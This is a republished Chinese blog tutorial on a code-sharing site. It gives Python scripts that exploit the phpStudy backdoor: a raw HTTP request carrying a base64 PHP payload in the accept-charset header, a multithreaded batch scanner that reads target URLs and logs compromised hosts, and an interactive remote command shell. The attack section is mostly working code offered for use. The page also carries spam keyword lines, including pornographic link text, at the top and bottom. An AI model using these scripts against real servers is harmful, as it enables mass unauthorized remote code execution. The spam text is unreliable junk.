一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - phpstudy后門rce批量利用腳本的實現

phpstudy后門rce批量利用腳本的實現

2021-09-23 16:04卿先生 PHP教程

這篇文章主要介紹了phpstudy后門rce批量利用腳本的實現,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧

寫兩個一個批量檢測的 一個交互式shell的

暫時py 圖形化的qt寫出來..有點問題

后門包 :

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

phpstudy后門rce批量利用腳本的實現

phpstudy后門rce批量利用腳本的實現

執行那段寫shell即可

phpstudy后門rce批量利用腳本的實現

晚上抽點空簡單寫個發包的py:

phpstudy后門rce批量利用腳本的實現

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue


print("======Phpstudy Backdoor Exploit============
")
print("===========By Qing=================
")
print("=====Blog:https://www.cnblogs.com/-qing-/==
")
payload = "echo "qing";"
payload = base64.b64encode(payload.encode("utf-8"))
payload = str(payload, "utf-8")
headers = {
  "Upgrade-Insecure-Requests": "1",
  "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
  "Accept-Language": "zh-CN,zh;q=0.9",
  "accept-charset": payload,
  "Accept-Encoding": "gzip,deflate",
  "Connection": "close",
}



def write_shell(url,headers):
  try:
    r = requests.get(url=url+"/index.php", headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ("[ + ] BackDoor successful: "+url+"===============[ + ]
")
      with open("success.txt","a") as f:
          f.write(url+"
")
    else:
      print ("[ - ] BackDoor failed: "+url+"[ - ]
")
  except:
    print ("[ - ] Timeout: "+url+" [ - ]
")

url = "http://xxx"
write_shell(url=url,headers=headers)

界面優化、改下多線程、批量讀取文本文件后的代碼:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool


print("======Phpstudy Backdoor Exploit============
")
print("===========By Qing=================
")
print("=====Blog:https://www.cnblogs.com/-qing-/==
")




def write_shell(url):
  payload = "echo "qing";"
  payload = base64.b64encode(payload.encode("utf-8"))
  payload = str(payload, "utf-8")
  headers = {
  "Upgrade-Insecure-Requests": "1",
  "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
  "Accept-Language": "zh-CN,zh;q=0.9",
  "accept-charset": payload,
  "Accept-Encoding": "gzip,deflate",
  "Connection": "close",
}
  try:
    r = requests.get(url=url+"/index.php", headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ("[ + ] BackDoor successful: "+url+"===============[ + ]
")
      with open("success.txt","a") as f:
          f.write(url+"
")
    else:
      print ("[ - ] BackDoor failed: "+url+"[ - ]
")
  except:
    print ("[ - ] Timeout: "+url+" [ - ]
")

# url = "http://xxx"
# write_shell(url=url,headers=headers)

def main():
  with open("url.txt","r") as f:
    lines = f.read().splitlines()
    task_pool=threadpool.ThreadPool(5)
    requests=threadpool.makeRequests(write_shell,lines)
  for req in requests:
    task_pool.putRequest(req)
    task_pool.wait() 
if __name__ == "__main__":
  main()


#線程隊列部分
# th=[]
# th_num=10
# for x in range(th_num):
#     t=threading.Thread(target=write_shell)
#     th.append(t)
# for x in range(th_num):
#     th[x].start()
# for x in range(th_num):
#     th[x].join()

phpstudy后門rce批量利用腳本的實現

你也可以加上讀取php文件的字典 這個簡單沒啥說的

下一個是交互式shell

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool
import re

print("======Phpstudy Backdoor Exploit---os-shell============
")
print("===========By Qing=================
")
print("=====Blog:https://www.cnblogs.com/-qing-/==
")



def os_shell(url,headers,payload):
  try:
    r = requests.get(url=url+"/phpinfo.php",headers=headers,verify=False,timeout=10)
    # print(r.text)
    res = re.findall("qing(.*?)qing",r.text,re.S)
    print("[ + ]===========The Response:==========[ + ]
")
    res = "".join(res)
    print(res)
  except:
    print("[ - ]===========Failed! Timeout...==========[ - ]
")

def main():
  url = input("input the Url , example:"http://127.0.0.1/"
")
  payload = input("input the payload , default:echo system("whoami");
")
  de_payload = "echo "qing";system("whoami");echo "qing";"
  if payload.strip() == "":
    payload = de_payload
  payload = "echo "qing";"+payload+"echo "qing";"
  payload = base64.b64encode(payload.encode("utf-8"))
  payload = str(payload, "utf-8")
  headers = {
  "Upgrade-Insecure-Requests": "1",
  "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
  "Accept-Language": "zh-CN,zh;q=0.9",
  "accept-charset": payload,
  "Accept-Encoding": "gzip,deflate",
  "Connection": "close",
  }
  os_shell(url=url,headers=headers,payload=payload)
if __name__ == "__main__":
  main()

phpstudy后門rce批量利用腳本的實現

 以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持服務器之家。

原文鏈接:https://www.cnblogs.com/-qing-/p/11575622.html

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 婷婷天天 | 日韩精品一二三区 | 色综合中文字幕在线亚洲 | 456成人免费高清视频 | 双性受合不垅腿攻np | 欧美同志gaypronvideos | 欧美人畜 | 四川女人偷人真实视频 | 777午夜精品免费播放 | 欧美一区二区三区高清不卡tv | 人成网站在线观看 | 午夜宅男在线观看 | 亚洲红怡院 | 日韩欧美一区二区三区 | 毛片免费观看的视频 | 国产免费看片 | 成人永久免费 | 国产乱子伦真实china | 国内会所按摩推拿国产 | 石原莉奈被店长侵犯免费 | 国产乱叫456在线 | 92国产福利视频一区二区 | 国产成人精品在线 | 亚洲美女人黄网成人女 | 欧美日韩亚毛片免费观看 | 亚洲天堂男人 | 冰漪丰满大乳人体图片欣赏 | 91亚洲视频在线观看 | 桥本有菜作品在线 | 成人性用品 | 91频视| 激情小说色图 | 色男人影院 | 国产东北3p真实在线456视频 | 男人狂躁女人下面狂叫图片 | 小早川怜子视频在线观看 | 国产91第一页 | 亚洲99久久无色码中文字幕 | 俄罗斯bbbbbbxxxxxx | 亚洲天堂免费 | 调教扩张宫颈女人惨叫 |